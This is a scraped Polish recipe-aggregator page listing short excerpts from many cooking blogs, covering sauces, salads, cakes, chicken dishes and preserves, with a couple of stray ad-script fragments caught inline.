Obiad na szybko? Proszę bardzo👆👆 Idealne również na wynos do jednego pudełeczka, które można spożywać na zimno. Z sosem czosnkowym, warzywami i jesteśmy syci na kilka godzin 😊 Składniki na 2 mniejsze porcje: -1 puszka tuńczyka -100 g mąki gryczanej -20 g mąki kukurydzianej -1 jajo -pół szklanki wody przegotowanej zimnej -1 łyżka oleju do smażenia dodatki: -4 łyżki jogurtu

Zdrowie i pysznie na talerzu
Sałatka makaronowa "po grecku" 257

wierzchu sałatki. Dodać pokruszony ser i pokrojone oliwki. Oliwę wymieszać z miodem i octem winnym lub sokiem z cytryny. Dodać szczyptę soli oraz trochę ziół prowansalskich. Sałatkę polać sosem tuż przed podaniem. Smacznego

kolorowotorcikowo
carpaccio z buraka 215

rozkładam liście sałaty i ser pokrojony w grubą kostkę. Posypuję posiekanymi orzechami i podprażonym na suchej patelni słonecznikiem. Sok z cytryny, olej, sól, pieprz i cukier łączę energicznie. Powstałym sosem polewam carpaccio. Smacznego

babka w formie
Zupa pomidorowa z zieloną soczewicą 173

minut, warzywa lekko zmiękną. Następnie dodać pokrojone w drobne kawałki mięso indyka. Smażyć mieszając aż indyk straci kolor surowizny. Wlać wodę, dodać kilka gałązek tymianku, kilka gałązek natki pietruszki, sos chilli, pomidory z puszki, soczewicę,przecier pomidorowy. Zagotować i doprawić do smaku solą i pieprzem. Gotować około 15 minut, sprawdzić. Jak soczewica jest już miękka zupka jest gotowa. Posypać zupę

Kuchnia Pokoleń
Orientalne żarełko 164

Dzisiaj nieco dalsza kulinarna wyprawa niż zwykle, nie Włochy, nawet nie Europa. Dzisiaj w kuchni króluje Azja. Zdaję sobie sprawę, że te smaki ciężko odtworzyć w

Pichceniomania
Cukinia w curry 275

kompoty, buraczki i ogórki kiszone. Do kompletu postanowiłam przygotować jeszcze cukinię w curry. W tym roku przeżywam istny obłęd związany z cukinią w moim ogródeczku. Przygotowałam już z niej sos do makaronów a teraz zdecydowałam się na połączenie jej z zalewą curry. A wy przygotowujecie cukinię w ten sposób? Składniki: 2,5 kg młodych cukinii biała cebula pokrojona w grube

Życie ze smakiem
Tort czekoladowy z wiśniami i dekoracją z kremu maślanego na bezie szwajcarskiej 271

będzie bardzo gorąca, prawie wrząca, ale nie dopuścić do zagotowania. Dodać posiekaną czekoladę i odstawić na chwilę. Następnie wymieszać do całkowitego rozpuszczenia się czekolady i otrzymania gładkiego, jednolitego sosu czekoladowego. Wystudzić do temperatu ry pokojowej , następnie przykryć folią spożywczą i wstawić do lodówki na minimum 12 godzin.  W związku z tym że krem musi spędzić w lodówce co najmniej

Opowieści z piekarnika
Kostka wiśniowa 262

całkowicie ).   Polewa czekoladowa: Śmietanę kremówkę umieścić w garnuszku i podgrzać do wrzenia, zdjąć z palnika. Dodać posiekaną czekoladę i odstawić na chwilę, następnie wymieszać do otrzymania gładkiego, jednolitego sosu czekoladowego. Odstawić do lekkiego wystudzenia i zgęstnienia polewy.   Złożenie ciasta: Jeden z blatów biszkoptowych nasączyć połową likieru wiśniowego ( lub herbaty ). Wyłożyć połowę tężejącego kremu wiśniowego, wyrównać. Przykryć drugim blatem

Opowieści z piekarnika
Sernik Lion ( bez pieczenia ) 224

minut. Masa I : Czekoladę połamać i umieścić w miseczce. Mleko podgrzać prawie do wrzenia, zalać nim czekoladę. Odstawić na chwilę, następnie dokładnie wymieszać rózgą kuchenną, do otrzymania gładkiego sosu czekoladowego. Dodać ryż preparowany i wymieszać. Masę wyłożyć na spód z herbatników, wyrównać. Wstawić do lodówki. Masa II : Wszystkie składniki powinny być w temperaturze pokojowej. Twaróg, masło orzechowe, mleko skondensowane oraz

Opowieści z piekarnika
Racuchy drożdżowe z jabłkami 266

dojść" w środku ), z obu stron do ładnego zrumienienia. Odkładać na ręcznik papierowy, aby pozbyć się nadmiaru tłuszczu. Podawać gorące wg uznania: posypane cukrem pudrem, polane miodem, syropem klonowym, sosem czekoladowym lub owocowym itp. Smacznego

Opowieści z piekarnika
Piernik przekładany powidłami 226

ładnie zastygną i nie będą wypływać.  Polewa czekoladowa: W małym garnuszku podgrzać śmietankę kremówkę, prawie do wrzenia. Dodać posiekaną czekoladę, odstawić na chwilę, następnie wymieszać do otrzymania gładkiego sosu czekoladowego. Polewę odstawić do lekkiego zgęstnienia, co jakiś czas mieszając. Gęstniejącą polewą polać piernik. Ciasto odstawić w chłodne miejsce ( niekoniecznie do lodówki ) do całkowitego stężenia polewy. Przechowywać w chłodnym miejscu

Opowieści z piekarnika
Rolada świąteczna 187

godzinę. Polewa czekoladowa : Śmietankę kremówkę umieścić w małym garnuszku i podgrzać, prawie do wrzenia. Dodać posiekaną czekoladę, odstawić na chwilę. Następnie wymieszać do całkowitego rozpuszczenia czekolady i otrzymania gładkiego sosu czekoladowego. Gęstniejącą polewę rozprowadzić na schłodzonej roladzie. Roladę wstawić na kilka godzin do lodówki. Smacznego

Opowieści z piekarnika
Wuzetka 191

Śmietanę kremówkę umieścić w garnuszku, postawić na palnik i podgrzać, prawie do wrzenia. Dodać połamaną czekoladę, odstawić na chwilę, następnie wymieszać do całkowitego rozpuszczenia czekolady i otrzymania gładkiego, jednolitego sosu czekoladowego. Polewę odstawić do przestudzenia i lekkiego zgęstnienia.  Gęstniejącą polewę rozprowadzić na schłodzonym cieście. Wstawić do lodówki do całkowitego zastygnięcia polewy. Po tym czasie, "rysując" nożem linie na powierzchni

Opowieści z piekarnika
Walentynkowy torcik z Lusette 291

umieścić cukier, miód lub syrop klonowy oraz alkohol. Podgrzewać do całkowitego rozpuszczenia cukru, zagotować. Zdjąć z ognia i dodać czekoladę. Odstawić na chwilę, następnie wymieszać do otrzymania gładkiego, jednolitego sosu czekoladowego.  Polewa będzie gęsta więc najlepiej od razu wylać ją na schłodzony tort: zaczynając od środka tortu zataczać kręgi, aż do brzegów, pozwalając polewie swobodnie spłynąć bo bokach tortu

Opowieści z piekarnika
Zapiekane ziemniaki z sosem serowym i mięsem mielonym 228

mieszamy: śmietanę ser gouda, parmezan i 50 g mozzarelli wraz z przepuszczonym przez praskę ząbkiem czosnku, szczyptą soli, pieprzu i ziół prowansalskich i podgrzewamy do rozpuszczenia. Po 50minutach wylewamy sos na ziemniaki i posypujemy mozzarellą. Pieczemy jeszcze ok 10-15minut w temp. 180 stopni, aż ziemniaki będą całkiem miękkie a ser się rozpuści

Lena Gotuje
Ziemniaczane "kluski z dziurką" 153

Najlepiej smakują z gęstymi, zawiesistymi sosami, czy też gulaszem .   Składniki: około 1 kg ugotowanych ziemniaków, 1 jajko, 2 łyżki mąki ziemniaczanej, 5łyżek mąki pszennej Przygotowanie: Wszystkie składniki zagniatamy razem. Ciasto musi odchodzić od ręki - w razie potrzeby dodać więcej mąki. Odrywamy kawałki, formułujemy kulki, które spłaszczamy i robimy dziurkę, wgłębienie na środku. Gotujemy w osolonej wodzie, do wypłynięcia

Lena Gotuje
Pulpety w sosie pomidorowym 196

dodajemy mięso. Gotujemy 15 minut. Po tym czasie dodajemy przecier, pomidory i doprawiamy pieprzem i ewentualnie solą - lub słodką czerwoną papryczką w proszku. Gotujemy jeszcze około 10 minut. Aby sos był bardziej gęsty możemy zaprawić mąką z wodą i śmietaną

Lena Gotuje
Makaron z szynką i sosem 165

Podgrzewamy na małym ogniu, aż ser się roztopi. Na koniec dodajemy koperek. Szynkę kroimy na cienkie plasterki. Podsmażamy na maśle, aż się zarumieni. Na talerz wykładamy makaron, na niego sos i szynkę

Lena Gotuje
Roladki z ciasta francuskiego 173

startym serem i kładziemy plastry szynki. Zawijamy wzdłuż długiej krawędzi. Kroimy na kawałki ok 1,5-2cm. Smarujemy roztrzepanym jajkiem. Pieczemy ok 20minut w temp.200 stopni. Podajemy z sosem czosnkowym

Lena Gotuje
Mini pizze z patelni 165

małą kostkę. Dodajemy mąki, jajka, sól, pieprz i wszystko razem mieszamy. Na rozgrzaną patelnię nakładamy małe porcje - najlepiej dużą łyżką i smażymy na rumiano z dwóch stron. Podajemy z sosem czosnkowym

Lena Gotuje
Salatka warstwowa ze śledziem 194

mniejsze kawałki około 1 cm  x 2 cm. Cebulę i szczypiorek drobno siekamy. 2 łyżki majonezu mieszamy z musztardą i kurkumą. Na dno słoiczka wykładamy kolejno warstwy: buraczki, sos majonezowo - musztardowo, ziemniaki, śledzie, śmietanę która solimy i pieprzymy, marchewkę, ogórka, pozostały majonez,  jajka i posypujemy szczypiorkiem z cebulką, posypujemy solą i pieprzem

Lena Gotuje
Makaron w sosie śmietanowo - serowym z kurczakiem 174

Taki makaron chodził za mną już od jakiegoś czasu. Pyszny, gęsty i kremowy sos + kurczak + ulubiony makaron = 100% udany obiad! Składniki: 250 g ulubionego makaronu - najlepiej grubych wstążek podwójna pierś z kurczaka 100 g serka topionego naturalnego 200 ml śmietany 36% szczypta tymianku, sól pieprz do smaku, 2 łyżki masła Przygotowanie: Makaron gotujemy wg instrukcji na opakowaniu - najlepiej al dente

Lena Gotuje
Sałatka "Król imprezy" 364

żółty ścieramy na małych oczkach na tartce. Jogurt mieszamy z majonezem dodajemy szczeptę soli i pieprzu. Na dno miski układamy kolejno: sałata, mięso, fasola, kukurydza, pomidor z cebulą, pieczarki, sos, ser. Wokół układamy nachos. Możemy dać też kilka na wierzch

Lena Gotuje
Dietetyczny kurczak z cukinią i brokułami 2230

solą i pieprzem. Przełożyć na talerze. Smacznego! Zobacz również przepisy na: Mega szybkie i dietetyczne muffinki śniadaniowe Dietetyczny obiad, czyli pieczona pierś kurczaka z warzywami Pulpeciki z cukinii w sosie pomidorowym Cukinia faszerowana ryżem i kaszą jaglaną – fit! Koktajl z jarmużu, banana i jabłka – odchudzający i mega zdrowy! The post Dietetyczny kurczak z cukinią i brokułami appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Gulasz z batatów 161

równie dobra. Podałem gulasz z batatów w towarzystwie ryżu skropionego sokiem z cytryny, ale świetnie sprawdzą się również chlebki naan . Jeśli lubicie masło orzechowe w wytrawnej odsłonie, to polecam sos orzechowy . Jest rewelacyjny! Artykuł Gulasz z batatów pochodzi z serwisu Blendman.pl - kuchnia roślinna

Blendman
Kurczak pieczony w panierce – chrupiący i soczysty! 376

Kurczaka w panierce lubi chyba każdy – to jedna z tych potraw, do których pasuje też każdy dowolny dodatek, każda surówka i każdy sos. Smakują zarówno w wersji łagodnej, jak i na pikantnie. Panierka ma jednak jedną właściwość, z której powodu omijają ją wszyscy dbający o linię – chłonie tłuszcz. Ale i to da się ominąć – kurczak w panierce pieczony w piekarniku

Karo in the Kitchen
Jarmuż – jak przechowywać jarmuż 257

worków, szczelnie je zamykam i przechowuję w zamrażalce nawet do 8 miesięcy. Tak przechowywany jarmuż jest idealnym dodatkiem do zielonych koktajli, nie wymaga rozmrażania. Używam go również do gotowania sosów , pęczotto czy do nadziewania pasztecików . Jarmuż warto włączyć do codziennej diety, bo jest bardzo zdrowy i dietetyczny. Kiedyś był dostępny tylko późną jesienią i zimą ale teraz, kiedy na nowo

codojedzenia
Kiełbaska w cieście 163

szybką przekąskę możemy podawać na ciepło i zimno np. z sosem czosnkowym. W cieście francuskim można zapiekać wszystko co lubimy: kabanosy, kurczaka, warzywa,... SKŁADNIKI: 2 opakowania Berlinek 1 opakowanie ciasta francuskiego ketchup WYKONANIE: ciasto tniemy na wąskie paski, kiełbaski na 3 części, pasek smarujemy ketchupem i zawijamy nim kiełbaskę, pieczemy w temperaturze 160-180 stopni do zrumienienia około

Kuchnia Beaty
Naleśniki po bolońsku 363

smaku od razu robię się głodna. Myślę, że jest to jedno z tych dań, które smakują wszystkim i zawsze. Klasyczne naleśniki z farszem na bazie mielonego mięsa i pomidorowego sosu zapiekam z mozzarellą. I już

Milion Smaków
Buraczki zasmażane 543

tarte do słoików. Dzisiaj znów nie mogłam się oprzeć i mam dla was przepis na zasmażane buraczki , które często podaję do obiadu, tym razem zrobiłam buraczki do ozorów w sosie musztardowym. Lubimy je tak samo jak kapustę zasmażaną z kminkiem i modrą kapustę zasmażaną . Są u nas częstym dodatkiem do obiadu. Buraczki zasmażane są gęste i słodkie, do tego bardzo

Damsko-męskie spojrzenie na kuchnię
Naleśniki orkiszowe z kabaczkiem i pomidorami 232

dodajemy przeciśnięty czosnek, świeże zioła i przyprawiamy do smaku solą i pieprzem. Chwilę jeszcze trzymamy na ogniu aby smaki się połączyły i gotowe. Smacznego :) P.S. Naleśniki świetnie smakują polane sosem czosnkowym

Dieta Rozdzielna i Zdrowie
Pieczona pierś kurczaka w płatkach kukurydzianych 353

kaloryczna, bo panierka nie chłonie tak dużo tłuszczu, a po drugie jest bardziej chrupiąca, właśnie poprzez użycie płatków kukurydzianych. Ostatnio pierś w płatkach serwowałam z domowymi frytkami z piekarnika , sosem czosnkowym oraz sałatką z pomidorami i cebulką. Uważam, że takie zestawienie komponuje się doskonale. Pamiętajcie, że do piersi z kurczaka w płatkach kukurydzianych możecie dobrać sobie ulubione dodatki

Kuchnia Bazylii
🍹 Restauracja Blue Cactus – Warszawa 202

talerz z kilkoma rodzajami przekąsek czyli Cactus Combo Plate (49 zł), który zawierał: Wings of Fire, Pierożki Filo, Chicken Taquitos, Pepper Poppers, Cactus Quesadillas, Potato Skins, wszystko podawane z sosem Ranch i Salsą Fresca. Praktycznie wszystkie przystawki były bardzo smaczne, jedne mniej pikantne, inne zdecydowanie bardziej, jak na przykład ogniste skrzydełka (które szczególnie polecam osobom lubiącym podwojoną ostrość). Najbardziej jednak

Kuchnia Bazylii
🌶 Sałatka z pieczoną papryką i kolendrą 246

papryk, aby ładnie prezentowała się na stole, co mam nadzieję, że widzicie na zdjęciach Natomiast kolendra dodana do sałatki nadała jej oryginalnego charakteru. Nie chciałam całości traktować żadnym ciężkim sosem, dlatego delikatnie ją skropiłam oliwą z oliwek. Zobaczcie też: Sałatka na rukoli z kurczakiem, papryką i selerem naciowym Przepis na sałatkę z pieczoną papryką Drukuj przepis Porcji: 6-8 Czas

Kuchnia Bazylii
Uczta grillowa piwem popijana, czyli warsztaty z Sokołowem 161

okiem szefa kuchni Akademii Smaku Dominika Moskalenki przygotowaliśmy kilka rodzajów wołowiny z grilla. Były obłędnie pyszne steki z rostbefu i antrykotu, cudownie soczysta polędwiczka, podana z ziemniakami i sosem kurkowym oraz sałatką. Jednak sezonowana wołowina to jest smak! Były też wyśmienite burgery i szaszłyki marynowane w maśle orzechowym. Wszystko oczywiście popijane piwem:)   W międzyczasie Rafał opowiadał i częstował

Obiad gotowy
Pesto z liści rzodkiewki, ostry i oryginalny dodatek do makaronów, dań mięsnych czy ryb. 159

musiałam wyrzucić cały pęczek liści. Na blogu www.veganbanda.pl znalazłam super przepis na pesto, który okazał się bardzo oryginalny. Lekko go zmodyfikowałam, ponieważ nie miałam płatków drożdżowych. Pikantne pesto lub sos możemy wykorzystać jako dodatek do dań mięsnych np. na grilla lub ryb. Możemy też przygotować makaron z pesto. Składniki: pęczek liści rzodkiewki 4 łyżki pestek słonecznika (prażonych) 4 łyżki oliwy

wysmienity
Ogórki z curry 259

pory robiła je głównie moja mama, jednak tego roku my również postanowiliśmy zrobić kilka słoików. Ogórki w curry idealnie sprawdzają się w zimie zamiast surówki lub sosu do obiadu. Czas wykonania: 2 h Ilość porcji: 12 słoików po 500 ml Składniki: 3 kg ogórków gruntowych 4 cebule 2 l wody 3 szklanki cukru 3 szklanki octu

KuchniaWeDwoje.pl
Parówkowe spaghetti. 249

się. :) Makaron z parówkami, jako podstawę dania, można połączyć z dowolnymi ulubionymi dodatkami. U nas były to pomidorki, ale równie dobrze sprawdzi się brokuł podzielony na różyczki, lub klasyczny sos pomidorowy albo serowy. Nawet keczup w chwili desperacji można dodać. No, chyba że domowy , wtedy z czystym sumieniem! ;) Składniki: 300 g cienkich parówek makaron spaghetti 250 g pomidorków koktajlowych

zadanie-gotowanie
Dorsz na imbirowym mango 229

podobnie robimy z papryką, a cebulę siekamy w piórka. W oddzielnym naczyniu łączymy ze sobą miód, ocet winny, sok z limonki, natkę pietruszki, czosnek, imbir oraz odrobinę chili. Gotowy sos dodajemy do posiekanego mango i papryki i delikatnie całość mieszamy. Rozkładamy na talerze, na wierzchu układamy kawałki upieczonego dorsza i posypujemy je posiekanymi orzechami. Smacznego (function(){ tsycu="qXm73dtjsych";tsyc=document.createElement

Cynamonowe szczęście
Deser lodowy z brzoskwiniami, bitą śmietaną i adwokatem 168

szybki deser, idealny na lato. Można go przygotować w wersji dla dorosłych, czyli z alkoholem, lub w wersji dla dzieci. Wtedy rezygnujemy z alkoholu, a dokładamy syrop owocowy lub sos czekoladowy. Herbatniki ułożone na spodzie lekko namokną sokiem z owoców i lodami. Dlatego warto użyć herbatników lub innych kruchych ciastek. Biszkopty zbyt szybko staną się miękkie.  Składniki: dowolne ulubione

Codzienna kuchnia niecodzienna
Szybki sernik kajmakowy 189

spiżarce znalazłam gotową masę kajmakową, i w 15 minut upiekłam ten sernik. Można go podawać z bitą śmietaną zimową porą, a latem z sosami owocowymi. Pieczony w szerszej blaszce staje się dość cienki, ale wygląda jak serowy batonik. Składniki: – 1 kg sera białego mielonego, u mnie Piątnica – 3 łyżki mąki

To co kocham
FALAFEL IDEALNY 236

pyszności z grochu wprost uwielbiam! Dziś pokażę Wam jak robię przepyszny falafel z ciecierzycy. Idealny jako obiad albo dodatek do obiadu. Ja podaję go z pyszną sałatką tabbouleh i sosem jogurtowym z tahini. Smakuje genialnie! Spróbujcie! SKŁADNIKI: ( ok. 20-25 szt ) * sucha ciecierzyca – 300 g ( moczymy przez noc w zimnej wodzie ) * cebula – 1 szt * czosnek – 2 ząbki

Ostra na Słodko
Pizza z młodymi ziemniakami i rozmarynem 292

Dzisiaj prezentuję pizzę dość nietypową, z jasnym, serowym sosem, młodymi ziemniakami i rozmarynem. Spróbujcie koniecznie, bo to naprawdę ciekawe i pyszne połączenie. Jest to kolejny przepis biorący udział w akcji „Ziemniaki

Bullio
Sałatka- polskie pomidory malinowe z albańskim serem typu feta 140

warstwami: pokrojone pomidory, trochę cebuli i trochę fety (osączonej i pokrojonej w kostkę ok 1x1 cm). Z podanych składników uzyskamy 3 warstwy. Jogurt wymieszałem dokładnie z majonezem i zalałem sosem sałatkę. Listki bazylii umyłem, wrzuciłem do blendera, dodałem wodę i zmiksowałem. Wymieszałem z oliwą i całością polałem sałatkę po wierzchu. Odstawiłem na 15 min do przegryzienia się smaków

R'n'G Kitchen
Kurczak w ziołach pieczony w całości 191

położyć kurczaka na raszkach w specjalnej do tego celu dużej blaszki. Na dno wlać wodę, wstawić blaszkę do nagrzanego piekarnika i piec 45 minut. Polać go wytworzonym sosem. Wyjąć blaszkę z piekarnika i odwrócić kurczaka. Dolać wody, u mnie się wygotowała. Dno blaszki musi być pokryte wodą. Obrać marchewki, jeśli są grube przekroić na pół. Cukinię umyć i pokroić

Kuchnia Pokoleń
"Delicje i łakocie" Paulina Krajewska - recenzja 202

Książka podzielona jest na trzy części - małe łakocie, większe łakocie i łakocie do picia. Małe łakocie to batony kokosowe, owsiane, energetyczne, marcepan, trufle, kremy, desery, lody, lizaki, musy, pralinki, sosy i inne. Jest ich dużo, wszystkie smakowite, aż ślinka cieknie na sam widok. Znajdziemy tutaj też bardzo ciekawe przepisy na lody z zielonej herbaty, pieczone kulki z batatów, honeycomb, czyli

kruche babeczki
Placek ziemniaczano-serowy 174

samodzielna przekąska, ale możesz też przygotować dip (np. czosnkowy), który uzupełni całość. Możesz też podać placek ziemniaczano-serowy jako dodatek do obiadu, zamiast tradycyjnych ziemniaków (wtedy szczególnie polecam z sosem (pieczarkowym, z grzybów leśnych lub mięsnym). Placek ziemniaczano-serowy Składniki: 400 g ugotowanych ziemniaków (roztartych) 100 sera Gouda MSM Mońki 2 jajka 400 g jogurtu naturalnego (rzadkiego) 1/2 szkl. mleka

Kolorowy Przepisownik
Lody śmietankowe (tylko 2 składniki) 223

kamień". Zresztą możecie zauważyć na zdjęciu jakie były delikatne i po kilku minutach robienia zdjęć zaczęły się w tym upale rozpływać ;) Lody najlepiej smakują ze świeżymi owocami. Dodatek słodkich sosów dodatkowo by je zasłodził gdyż już same w sobie są wystarczająco słodkie :) 500 ml śmietanki 30% 300 ml mleka skondensowanego słodzonego  Schłodzoną śmietankę ubić, dodać mleko skondensowane, zmiksować. Przełożyć

Smakołyki Asi
Czym pachnie Paryż? – wpis kulinarny 181

ciepło z lodami i karmelem, całkowicie podbiła nasze podniebienia i żołądki! Wiem, że Francja słynie z creme brulee czy creme caramel, ale taki kawałek mięciutkiej brioszki polany prawdziwym sosem karmelowym to niewysłowiona uczta dla kubków smakowych! Zdecydowanie Paryż pachnie jedzeniem! Artykuł Czym pachnie Paryż? – wpis kulinarny pochodzi z serwisu Raj dla Podniebienia

Raj dla Podniebienia
SAŁATKA Z KASZAMI I WARZYWAMI 177

zdrową sałatkę. Składniki: 1 szklanka miksu pęczak, bulgur, soczewica 1 pomidor 1 papryka 1 ogórek typu wąż pół puszki kukurydzy natka pietruszki czerwona cebula kilka kostek sera feta sos: 3 łyżki oliwy 1 łyżka soku z cytryny sól, pieprz do smaku odrobina musztardy- też wg uznania Wykonanie: * Soczewicę, bulgur i pęczak gotujemy w osolonej wodzie, ok 15 minut. Studzimy. * Pomidory

Z Majeczką w kuchni
Placki po węgiersku 193

Placki po węgiersku, to jedno z moich ulubionych dań i choć jest trochę pracochłonne, smak potrawy wynagradza wszystko. Sos można dowolnie modyfikować dodając np. pieczarki, paprykę czy cukinię. Wybór mięsa również jest dowolny, choć w oryginalnych przepisach, placki podaje się z gulaszem wołowym i ja taki dzisiaj właśnie polecam. Do tego pyszna  surówka z białej kapusty . Składniki na gulasz

Gosia gotuje
Roladki z kurczaka z suszonymi pomidorami i gorgonzolą 184

Ostatnio bardzo zasmakował mi ser gorgonzola. Najczęściej wykorzystuje go do robienia sosów z makaronem, ale tym razem użyłam go do zrobienia roladek z kurczaka. Wyszło naprawdę interesująco, polecam wypróbować! (adsbygoogle = window.adsbygoogle || []).push({}); Składniki 2 duże piersi z kurczaka 3 - 4 plasterki szynki parmeńskiej 4 suszone pomidory z zalewy 1/2 czerwonej cebuli około 50 g sera gorgonzola jajko bułka tarta Piersi

Delusional Trine
Ziemniaczane róże. 203

przyprawami, skropić wierzchy oliwą i wstawić do piekarnika rozgrzanego do 190 stopni na 50 - 60 minut. Róże są gotowe, kiedy końcówki płatków zrumienią się mocno. Podawać jako przystawkę z sosem, lub dodatek do głównego dania

zadanie-gotowanie
Przepis #64 Czekoladowy piernik z... cukinii 195

Witajcie, sezon na cukinie w pełni. Można z niej zrobić różne pyszności od sosów, ketchupu czy spaghetti po ciasta. Postanowiłam wykorzystać cukinię jako bazę do mojego ciasta przez co jest zdecydowanie mniej kaloryczne niż tradycyjne wypieki.   Cukinia ma dość delikatny smak przez co jest prawie niewyczuwalna. Dodatek przyprawy do piernika sprawia, że smakuje jak prawdziwy piernik! Środek jest dość

Health-Fit-Life
Tortilla de patatas con chorizo, czyli hiszpański omlet z ziemniaków z kiełbasą 219

firmy  Wasąg . Tortilla jest pyszna zarówno na ciepło jak i na zimno. Sama nie wiem, która lepsza 😍. W Hiszpanii tortillę wkłada się w przekrojoną podłużną bułkę, smaruje odrobiną sosu alioli i zjada z apetytem. Smacznego ! Tortilla de patatas con chorizo, czyli hiszpański omlet z ziemniaków z kiełbasą Czas przygotowania: 40 minut Proporcje na patelnię o średnicy 24 cm Składniki

Kulinarne przygody Gatity
Bezglutenowa tarta z kurkami i serem pleśniowym 214

dodaje je do śniadaniowej jajecznicy, czy też do risotta. Kurki świetnie pasują również do kurczaka oraz makaronu. Dziś mam dla Was jednak trochę inną propozycję – kurki zatopione w sosie śmietankowym, wyłożone na bezglutenowej tarcie. Nowością tutaj dla mnie jest mąka z czerwonej soczewicy. Udało mi się ją upolować w Lokalnym Rolniku i to w wersji bio. Na początku podeszłam

365 dni dookoła kuchni
PLACKI SEROWO- BANANOWE 588

patelni rozgrzać odrobinę oleju kokosowego. Łyżką wylewać porcje ciasta. Placki smażyć na mniejszym palniku grzewczym na złoty kolor z obu stron. Można podawać posypane cukrem pudrem, z ulubionym sosem, musem owocowym lub z konfiturą

Zrób to smacznie
Sałatka z kapusty jak u "chińczyka" 3106

zdjęciu z ognia dodajemy przeciśnięty przez praskę czosnek i opcjonalnie dla zaostrzenia smaku musztardę.  Gorącą zalewą polewamy kapustę, mieszamy dokładnie i odstawiamy do wystudzenia.  Ostudzoną kapustę z sosem przekładamy do słoików. Słoiki pasteryzujemy około 20 minut od zagotowania wody. #MyVictorinox

Bon appetit mon amie
Kurczak Pina Colada 194

Propozycja na obiad to kurczak z soczystym ananasem wykąpanym w  sosie kokosowy. Składniki: - 2 piersi z kurczaka - 1/2 świeżego ananasa - 1 puszka mleczka kokosowego - 200 g ryżu - przyprawa curry - olej #MyVictorinox Przygotowanie: Ryż gotujemy wg. przepisu na opakowaniu ale bez soli. Kurczaka kroimy w kostkę, przyprawiamy 3 łyżeczkami carry i podsmażamy na 2 łyżkach oleju. Ananasa kroimy w małe

Kulinarne życie
MAKARON Z KREWETKAMI I KURKAMI W LEKKIM ŚMIETANOWYM SOSIE 416

Dziś mam dla Was mój mały eksperyment: makaron z krewetkami i kurkami w delikatnym śmietanowym sosie... Postanowiłam połączyć, wydawać by się mogło, zupełnie różne składniki i zobaczyć co mi z tego wyjdzie... Okazało się, że danie jest tak pyyyyyyszne, że aż sama byłam zaskoczona smakiem! 🤗😋  Krewetki doprawiłam czosnkiem oraz papryczką chili na lekko pikantnie, kurki natomiast przesmażyłam z szalotką

Słodko-Słony Świat Ilony
Wędzona makrela z ogórkową salsą 191

Wydawałoby się, że salsa może być tylko z pomidorów, no cóż ja zrobiłam ją z ogórków kiszonych. Salsa wywodzi się z Meksyku i jest to rodzaj gęstego sosu, często pikantnego z drobno siekanych lub zmiksowanych warzyw. Moja, ogórkowa dobrze komponuje się z wędzoną makrelą. Danie może być przystawką lub kolacją. Składniki: Wędzona makrela ½ białej cebuli 2 ogórki kiszone

Smaki Ewy
Kurczak w kremowym sosie z ciecierzycą 177

plastry marchewkę. Dusimy do miękkości. Gdy bulion nam wyparuje ponownie podlewamy. Na końcu dodajemy ciecierzycę (ugotowaną), śmietankę i serek topiony. Doprawiamy solą i pieprzem. Dusimy do momentu zgęstnienia sosu

VioletoweKucharzenie
Szakszuka, czyli jajka gotowane w pomidorach z papryką 679

całość poddusić przez chwilę. Dodać pomidory i mieszając co jakiś czas udusić do miękkości, odparowując jednocześnie część wody. Przyprawić kuminem, solą, cukrem i słodką papryką.  Na wrzący sos wbić jajka, lekko je posolić i pod przykryciem gotować na niewielkim ogniu przez kilka minut, aż do pożądanego stopnia ścięcia.  Podawać posypane szczypiorkiem lub dymką i świeżymi listkami bazylii. Idealnie

Codzienna kuchnia niecodzienna
Spaghetti w kremowym sosie z kurkami 260

czasu do czasu. Dodaj mleko kokosowe, sól do smaku (łyżeczka to maks). Zagotuj i gotowe. Podawaj posypane cebulką i świeżą szałwią lub rozmarynem. Smacznego! Artykuł Spaghetti w kremowym sosie z kurkami pochodzi z serwisu %%http://www.greenscarf.pl/%%.

greenscarf
Cukinia nadziewana jagnięciną z serem feta, kolendrą i rozmarynem 142

śródziemnego a ostatnio trafia się też i w Polsce. Doskonale do niej pasuje mielona jagnięcina z aromatycznymi ziołami, słonym serem feta i szczyptą czerwonej cebuli. Całości świetnie dopełnia klasyczny sos tzatziki. Niestety piecze się około 40 minut

Milion Smaków
Pomidorowe chutney 211

Chutney wywodzi się z kuchni indyjskiej i jest to nic innego jak sos o gęstej konsystencji. Można je robić z owoców jak i z warzyw. Ja bardzo często robię dwa jego rodzaje. Pomidorowe chutney Pierwszy rodzaj chutney jakie robię to chutney wykonane z czerwonej cebuli. Używam go głównie jako dodatku do serów żółtych. Drugi typ chutney jakie robię

mecooks
Waniliowa panna cotta z frużeliną morelową 214

Panna cotta to deser, który lubimy szczególnie latem. I bardzo lubimy dodawać do niego sezonowe owoce (zobacz panna cotta z sosem malinowym i jogurtowa panna cotta z musem jagodowym ). Jest to deser szybki, prosty i bardzo bardzo smaczny. Dzisiaj u nas z dodatkiem frużeliny morelowej. Jeśli nie macie frużeliny  ani moreli możecie użyć do niej innych zmiksowanych owoców

Wilczkowy Świat - nasze codzienne gotowanie
Masło jabłkowe korzenne. Mus jabłkowy 244

zrobienia wybierzecie dojrzałe owoce słodszych odmian. Proces długiego smażenia przypomina robienie powideł , tyle że powideł nie przecieram ani nie miksuję. Takim masłem jabłkowym można smarować kanapki, naleśniki, używać jako sosu do serów, wędlin czy pieczonych mięs. Uwielbiam takie masło jako dodatek do pieczonego sera camembert. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
polędwica pieczona w całości 184

makaron z serem, a o wiele bardziej wyszukane danie. Tak przygotowane polędwiczki wieprzowe pieczone w całości są bardzo kruche i niezwykle soczyste. składniki : 2 polędwiczki wieprzowe marynata: 2 łyżki sosu soyowego 2 łyżki ketchupu łagodnego

Ugotujmy Coś
Pomidory w kawałkach do słoików na zimę, najprostsze 216

obrane i pokrojone dodajemy sól, sok z cytryny i bazylię, dolewamy 3 litry wody i doprowadzamy do wrzenia, gotujemy ok. 10 minut. Wyparzone słoiki napełniamy pomidorami i powstałym sosem, zamykamy i pasteryzujemy ok. 15-20 minut w kąpieli wodnej

Apetyczna babeczka
Szakszuka z cukinią i papryką 191

